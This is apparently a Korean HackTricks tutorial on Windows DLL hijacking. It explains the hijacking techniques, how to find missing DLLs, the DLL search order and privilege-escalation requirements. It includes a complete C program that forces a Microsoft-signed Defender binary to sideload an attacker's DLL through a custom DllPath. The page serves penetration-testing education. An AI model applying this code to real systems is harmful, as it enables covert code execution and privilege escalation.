Dll Hijacking

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

DLL Hijacking์€ ์‹ ๋ขฐ๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•…์„ฑ DLL์„ ๋กœ๋“œํ•˜๋„๋ก ์กฐ์ž‘ํ•˜๋Š” ๊ฒƒ์„ ๋งํ•ฉ๋‹ˆ๋‹ค. ์ด ์šฉ์–ด๋Š” DLL Spoofing, Injection, and Side-Loading ๊ฐ™์€ ์—ฌ๋Ÿฌ ์ „์ˆ ์„ ํฌ๊ด„ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ๋กœ ์ฝ”๋“œ ์‹คํ–‰, ์ง€์†์„ฑ ํ™•๋ณด, ๊ทธ๋ฆฌ๊ณ  ๋“œ๋ฌผ๊ฒŒ ๊ถŒํ•œ ์ƒ์Šน์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๊ถŒํ•œ ์ƒ์Šน์— ์ดˆ์ ์„ ๋งž์ถ”์ง€๋งŒ, ํ•˜์ด์žฌํ‚น ๋ฐฉ๋ฒ• ์ž์ฒด๋Š” ๋ชฉ์ ์— ๊ด€๊ณ„์—†์ด ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ๊ธฐ๋ฒ•

DLL hijacking์—๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ DLL ๋กœ๋“œ ์ „๋žต์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  1. DLL Replacement: ์ •์‹ DLL์„ ์•…์„ฑ DLL๋กœ ๊ต์ฒดํ•˜๋ฉฐ, ์›๋ž˜ DLL์˜ ๊ธฐ๋Šฅ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด DLL Proxying์„ ์„ ํƒ์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. DLL Search Order Hijacking: ์•…์„ฑ DLL์„ ํ•ฉ๋ฒ• DLL๋ณด๋‹ค ๋จผ์ € ๊ฒ€์ƒ‰๋˜๋Š” ๊ฒฝ๋กœ์— ๋ฐฐ์น˜ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒ€์ƒ‰ ํŒจํ„ด์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.
  3. Phantom DLL Hijacking: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์—†๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋Š” ํ•„์ˆ˜ DLL์„ ๋กœ๋“œํ•˜๋„๋ก ์•…์„ฑ DLL์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  4. DLL Redirection: %PATH% ๋˜๋Š” .exe.manifest / .exe.local ๊ฐ™์€ ๊ฒ€์ƒ‰ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•…์„ฑ DLL์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  5. WinSxS DLL Replacement: WinSxS ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์—์„œ ์ •์‹ DLL์„ ์•…์„ฑ DLL๋กœ ๋Œ€์ฒดํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ, ์ข…์ข… DLL side-loading๊ณผ ๊ด€๋ จ๋ฉ๋‹ˆ๋‹ค.
  6. Relative Path DLL Hijacking: ๋ณต์‚ฌ๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์•…์„ฑ DLL์„ ๋ฐฐ์น˜ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ, Binary Proxy Execution ๊ธฐ๋ฒ•๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

Tip

HTML staging, AES-CTR configs, ๊ทธ๋ฆฌ๊ณ  .NET implants๋ฅผ DLL sideloading ์œ„์— ๊ณ„์ธตํ™”ํ•˜๋Š” ๋‹จ๊ณ„๋ณ„ ์ฒด์ธ์„ ๋ณด๋ ค๋ฉด ์•„๋ž˜ ์›Œํฌํ”Œ๋กœ๋ฅผ ๊ฒ€ํ† ํ•˜์„ธ์š”.

Advanced Html Staged Dll Sideloading

๋ˆ„๋ฝ๋œ DLL ์ฐพ๊ธฐ

์‹œ์Šคํ…œ ๋‚ด๋ถ€์˜ ๋ˆ„๋ฝ๋œ DLL์„ ์ฐพ๋Š” ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ sysinternals์˜ procmon์„ ์‹คํ–‰ํ•œ ๋‹ค์Œ, ๋‹ค์Œ 2๊ฐœ์˜ ํ•„ํ„ฐ๋ฅผ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

๊ทธ๋ฆฌ๊ณ  **ํŒŒ์ผ ์‹œ์Šคํ…œ ํ™œ๋™(File System Activity)**๋งŒ ํ‘œ์‹œํ•˜์„ธ์š”:

์ผ๋ฐ˜์ ์œผ๋กœ ๋ˆ„๋ฝ๋œ DLL์„ ์ „๋ฐ˜์ ์œผ๋กœ ์ฐพ๊ณ  ์žˆ๋‹ค๋ฉด ์ด ์ƒํƒœ๋กœ ๋ช‡ ์ดˆ ๋™์•ˆ ์‹คํ–‰ํ•ด ๋‘ก๋‹ˆ๋‹ค.
ํŠน์ • ์‹คํ–‰ ํŒŒ์ผ ์•ˆ์˜ ๋ˆ„๋ฝ๋œ DLL์„ ์ฐพ๊ณ  ์žˆ๋‹ค๋ฉด, โ€œProcess Nameโ€ โ€œcontainsโ€ <exec name> ๊ฐ™์€ ์ถ”๊ฐ€ ํ•„ํ„ฐ๋ฅผ ์„ค์ •ํ•˜๊ณ  ์‹คํ–‰ํ•œ ๋’ค ์ด๋ฒคํŠธ ์บก์ฒ˜๋ฅผ ์ค‘์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ˆ„๋ฝ๋œ DLL ์•…์šฉ

๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋ ค๋ฉด, ๊ฐ€์žฅ ์ข‹์€ ๊ธฐํšŒ๋Š” ๊ถŒํ•œ์ด ๋†’์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  DLL์„ ์šฐ๋ฆฌ๊ฐ€ ์“ธ ์ˆ˜ ์žˆ๋Š” ์œ„์น˜์— ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ DLL์ด ์›๋ณธ DLL์ด ์žˆ๋Š” ํด๋”๋ณด๋‹ค ๋จผ์ € ๊ฒ€์ƒ‰๋˜๋Š” ํด๋”์— ์•…์„ฑ DLL์„ ์“ฐ๊ธฐํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜(ํŠน์ดํ•œ ๊ฒฝ์šฐ), DLL์ด ๊ฒ€์ƒ‰๋  ํด๋”์— ์“ธ ์ˆ˜ ์žˆ๊ณ  ์›๋ณธ DLL์ด ์–ด๋–ค ํด๋”์—๋„ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DLL ๊ฒ€์ƒ‰ ์ˆœ์„œ

Microsoft documentation(https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)์—์„œ DLL์ด ์–ด๋–ป๊ฒŒ ๋กœ๋“œ๋˜๋Š”์ง€ ๊ตฌ์ฒด์ ์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Windows applications๋Š” ๋ฏธ๋ฆฌ ์ •์˜๋œ ๊ฒ€์ƒ‰ ๊ฒฝ๋กœ ์ง‘ํ•ฉ์„ ๋”ฐ๋ผ ํŠน์ • ์ˆœ์„œ๋กœ DLL์„ ์ฐพ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ DLL์„ ์ด๋Ÿฐ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ค‘ ํ•˜๋‚˜์— ์ „๋žต์ ์œผ๋กœ ๋ฐฐ์น˜ํ•˜๋ฉด ์ •์‹ DLL๋ณด๋‹ค ๋จผ์ € ๋กœ๋“œ๋˜์–ด DLL hijacking ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•„์š”ํ•œ DLL์„ ์ฐธ์กฐํ•  ๋•Œ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์€ 32-bit ์‹œ์Šคํ…œ์—์„œ์˜ DLL ๊ฒ€์ƒ‰ ์ˆœ์„œ์ž…๋‹ˆ๋‹ค:

  1. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋กœ๋“œ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ.
  2. ์‹œ์Šคํ…œ ๋””๋ ‰ํ„ฐ๋ฆฌ. ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ์–ป์œผ๋ ค๋ฉด GetSystemDirectory ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. (C:\Windows\System32)
  3. 16-bit ์‹œ์Šคํ…œ ๋””๋ ‰ํ„ฐ๋ฆฌ. ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊ฒฝ๋กœ๋ฅผ ์–ป๋Š” ํ•จ์ˆ˜๋Š” ์—†์ง€๋งŒ ๊ฒ€์ƒ‰๋ฉ๋‹ˆ๋‹ค. (C:\Windows\System)
  4. Windows ๋””๋ ‰ํ„ฐ๋ฆฌ. ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ์–ป์œผ๋ ค๋ฉด GetWindowsDirectory ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  5. (C:\Windows)
  6. ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ.
  7. PATH ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋‚˜์—ด๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋“ค. ์ด๋•Œ App Paths ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๋กœ ์ง€์ •๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋ณ„ ๊ฒฝ๋กœ๋Š” ํฌํ•จ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. App Paths ํ‚ค๋Š” DLL ๊ฒ€์ƒ‰ ๊ฒฝ๋กœ๋ฅผ ๊ณ„์‚ฐํ•  ๋•Œ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด๋Š” SafeDllSearchMode๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ธฐ๋ณธ ๊ฒ€์ƒ‰ ์ˆœ์„œ์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์ด ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋‘ ๋ฒˆ์งธ๋กœ ์˜ฌ๋ผ๊ฐ‘๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์„ ๋งŒ๋“ค๊ณ  0์œผ๋กœ ์„ค์ •ํ•˜์„ธ์š”(๊ธฐ๋ณธ๊ฐ’์€ ํ™œ์„ฑํ™”๋จ).

LoadLibraryEx ํ•จ์ˆ˜๊ฐ€ LOAD_WITH_ALTERED_SEARCH_PATH ํ”Œ๋ž˜๊ทธ๋กœ ํ˜ธ์ถœ๋˜๋ฉด ๊ฒ€์ƒ‰์€ LoadLibraryEx๊ฐ€ ๋กœ๋“œํ•˜๋Š” ์‹คํ–‰ ๋ชจ๋“ˆ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, DLL์ด ์ด๋ฆ„ ๋Œ€์‹  ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ์ง€์ •๋˜์–ด ๋กœ๋“œ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ๊ทธ ๊ฒฝ์šฐ ํ•ด๋‹น DLL์€ ๊ทธ ๊ฒฝ๋กœ์—์„œ๋งŒ ๊ฒ€์ƒ‰๋ฉ๋‹ˆ๋‹ค(ํ•ด๋‹น DLL์ด ๋‹ค๋ฅธ ์ข…์†์„ฑ์„ ๊ฐ€์ง€๋Š” ๊ฒฝ์šฐ, ๊ทธ ์ข…์†์„ฑ๋“ค์€ ์ด๋ฆ„์œผ๋กœ ๋กœ๋“œ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๊ฒ€์ƒ‰๋ฉ๋‹ˆ๋‹ค).

๊ฒ€์ƒ‰ ์ˆœ์„œ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋“ค๋„ ์žˆ์ง€๋งŒ ์—ฌ๊ธฐ์„œ๋Š” ์„ค๋ช…ํ•˜์ง€ ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค์˜ DLL ๊ฒ€์ƒ‰ ๊ฒฝ๋กœ์— ๊ฒฐ์ •๋ก ์ ์œผ๋กœ ์˜ํ–ฅ์„ ์ฃผ๋Š” ๊ณ ๊ธ‰ ๋ฐฉ๋ฒ•์€ ntdll์˜ ๋„ค์ดํ‹ฐ๋ธŒ API๋กœ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ RTL_USER_PROCESS_PARAMETERS์˜ DllPath ํ•„๋“œ๋ฅผ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ œ๊ณตํ•˜๋ฉด, ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค๊ฐ€ DLL์„ ์ด๋ฆ„์œผ๋กœ ํ•ด๊ฒฐํ•  ๋•Œ(์ ˆ๋Œ€ ๊ฒฝ๋กœ๊ฐ€ ์•„๋‹ˆ๊ณ  ์•ˆ์ „ ๋กœ๋“œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ) ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์•…์„ฑ DLL์„ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ต์‹ฌ ์•„์ด๋””์–ด

  • RtlCreateProcessParametersEx๋กœ ํ”„๋กœ์„ธ์Šค ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ , ์ œ์–ด ๊ฐ€๋Šฅํ•œ ํด๋”(์˜ˆ: dropper/unpacker๊ฐ€ ์œ„์น˜ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์‚ฌ์šฉ์ž ์ง€์ • DllPath๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • RtlCreateUserProcess๋กœ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ด๋ฆ„์œผ๋กœ DLL์„ ํ•ด๊ฒฐํ•  ๋•Œ ๋กœ๋”๋Š” ์ด ์ œ๊ณต๋œ DllPath๋ฅผ ์ฐธ์กฐํ•˜์—ฌ, ์•…์„ฑ DLL์ด ๋Œ€์ƒ EXE์™€ ๊ฐ™์€ ์œ„์น˜์— ์žˆ์ง€ ์•Š๋”๋ผ๋„ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” sideloading์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์˜/์ œํ•œ์‚ฌํ•ญ

  • ์ด๋Š” ์ƒ์„ฑ๋˜๋Š” ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ, ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์—๋งŒ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” SetDllDirectory์™€๋Š” ๋‹ค๋ฆ…๋‹ˆ๋‹ค.
  • ๋Œ€์ƒ์€ DLL์„ ์ด๋ฆ„์œผ๋กœ importํ•˜๊ฑฐ๋‚˜ LoadLibraryํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ ˆ๋Œ€ ๊ฒฝ๋กœ๊ฐ€ ์•„๋‹ˆ๋ฉฐ LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ).
  • KnownDLLs ๋ฐ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋Š” ํ•˜์ด์žฌํ‚นํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. Forwarded exports์™€ SxS๋Š” ์šฐ์„ ์ˆœ์œ„๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ„๋‹จํ•œ C ์˜ˆ์ œ (ntdll, wide strings, ๊ฐ„์†Œํ™”๋œ ์˜ค๋ฅ˜ ์ฒ˜๋ฆฌ):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath ```c #include #include #pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; โ€“i) if (out[i-1] == Lโ€™\โ€™) { out[i-1] = 0; break; } }

int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = Lโ€œ\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exeโ€œ;

// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, Lโ€œ"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"โ€œ); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(Lโ€œntdll.dllโ€œ), โ€œRtlCreateProcessParametersExโ€); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(Lโ€œntdll.dllโ€œ), โ€œRtlCreateUserProcessโ€);

RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here) return 0; }

</details>

์šด์˜ ์‚ฌ์šฉ ์˜ˆ
- ์•…์„ฑ xmllite.dll (ํ•„์š”ํ•œ ํ•จ์ˆ˜๋ฅผ export ํ•˜๊ฑฐ๋‚˜ ์‹ค์ œ DLL์„ ํ”„๋ก์‹œํ•˜๋Š”)์„ DllPath ๋””๋ ‰ํ† ๋ฆฌ์— ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค.
- ์œ„ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฆ„์œผ๋กœ xmllite.dll์„ ์กฐํšŒํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ง„ ์„œ๋ช…๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋กœ๋”๋Š” ์ œ๊ณต๋œ DllPath๋ฅผ ํ†ตํ•ด import ๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ  ๊ท€ํ•˜์˜ DLL์„ sideload ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ ์‹ค์ „์—์„œ multi-stage sideloading chains๋ฅผ ๊ตฌ๋™ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค: ์ดˆ๊ธฐ launcher๊ฐ€ helper DLL์„ ๋“œ๋กญํ•˜๊ณ , ๊ทธ DLL์ด ์ปค์Šคํ…€ DllPath๋ฅผ ๊ฐ€์ง„ Microsoft-signed ํ•˜๋ฉฐ hijackableํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ spawn ํ•˜์—ฌ ์Šคํ…Œ์ด์ง• ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๊ณต๊ฒฉ์ž์˜ DLL์„ ๊ฐ•์ œ๋กœ ๋กœ๋“œํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.


#### Windows ๋ฌธ์„œ์—์„œ์˜ DLL ๊ฒ€์ƒ‰ ์ˆœ์„œ ์˜ˆ์™ธ์‚ฌํ•ญ

Windows ๋ฌธ์„œ์—์„œ๋Š” ํ‘œ์ค€ DLL ๊ฒ€์ƒ‰ ์ˆœ์„œ์— ๋Œ€ํ•œ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์™ธ๋ฅผ ์–ธ๊ธ‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

- **์ด๋ฏธ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋œ ๊ฒƒ๊ณผ ์ด๋ฆ„์ด ๊ฐ™์€ DLL**์ด ๋ฐœ๊ฒฌ๋˜๋Š” ๊ฒฝ์šฐ, ์‹œ์Šคํ…œ์€ ์ผ๋ฐ˜์ ์ธ ๊ฒ€์ƒ‰์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์‹  ๋ฆฌ๋””๋ ‰์…˜๊ณผ ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋ฅผ ํ™•์ธํ•œ ํ›„ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด๋ฏธ ๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋Š” DLL์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. **์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์‹œ์Šคํ…œ์ด DLL์„ ๊ฒ€์ƒ‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.**
- ํ•ด๋‹น DLL์ด ํ˜„์žฌ Windows ๋ฒ„์ „์—์„œ **known DLL**๋กœ ์ธ์‹๋˜๋Š” ๊ฒฝ์šฐ, ์‹œ์Šคํ…œ์€ ํ•ด๋‹น known DLL์˜ ๋ฒ„์ „๊ณผ ๊ทธ์— ์˜์กดํ•˜๋Š” DLL๋“ค์„ ์‚ฌ์šฉํ•˜๋ฉฐ **๊ฒ€์ƒ‰ ๊ณผ์ •์„ ์ƒ๋žต**ํ•ฉ๋‹ˆ๋‹ค. ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** ์— ์ด๋Ÿฌํ•œ known DLL ๋ชฉ๋ก์ด ์ €์žฅ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
- **DLL์— ์˜์กด์„ฑ์ด ์žˆ๋Š” ๊ฒฝ์šฐ**, ์ด๋Ÿฌํ•œ ์˜์กด DLL๋“ค์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰์€ ์ดˆ๊ธฐ DLL์ด ์ „์ฒด ๊ฒฝ๋กœ๋กœ ์‹๋ณ„๋˜์—ˆ๋Š”์ง€ ์—ฌ๋ถ€์™€ ๊ด€๊ณ„์—†์ด ๋งˆ์น˜ ์ด๋“ค์ด **๋ชจ๋“ˆ ์ด๋ฆ„(module names)** ์œผ๋กœ๋งŒ ์ง€์ •๋œ ๊ฒƒ์ฒ˜๋Ÿผ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

### ๊ถŒํ•œ ์ƒ์Šน

**์š”๊ตฌ์‚ฌํ•ญ**:

- ์„œ๋กœ ๋‹ค๋ฅธ ๊ถŒํ•œ์œผ๋กœ ๋™์ž‘ํ•˜๊ฑฐ๋‚˜ ๋™์ž‘ํ•  ์˜ˆ์ •์ธ ํ”„๋กœ์„ธ์Šค( horizontal or lateral movement ) ์ค‘์—์„œ, **DLL์ด ์—†๋Š”** ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
- **DLL์ด ๊ฒ€์ƒ‰๋ ** ๋ชจ๋“  **๋””๋ ‰ํ„ฐ๋ฆฌ**์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ(write access)**์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ์œ„์น˜๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์ด๊ฑฐ๋‚˜ ์‹œ์Šคํ…œ ๊ฒฝ๋กœ ๋‚ด์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

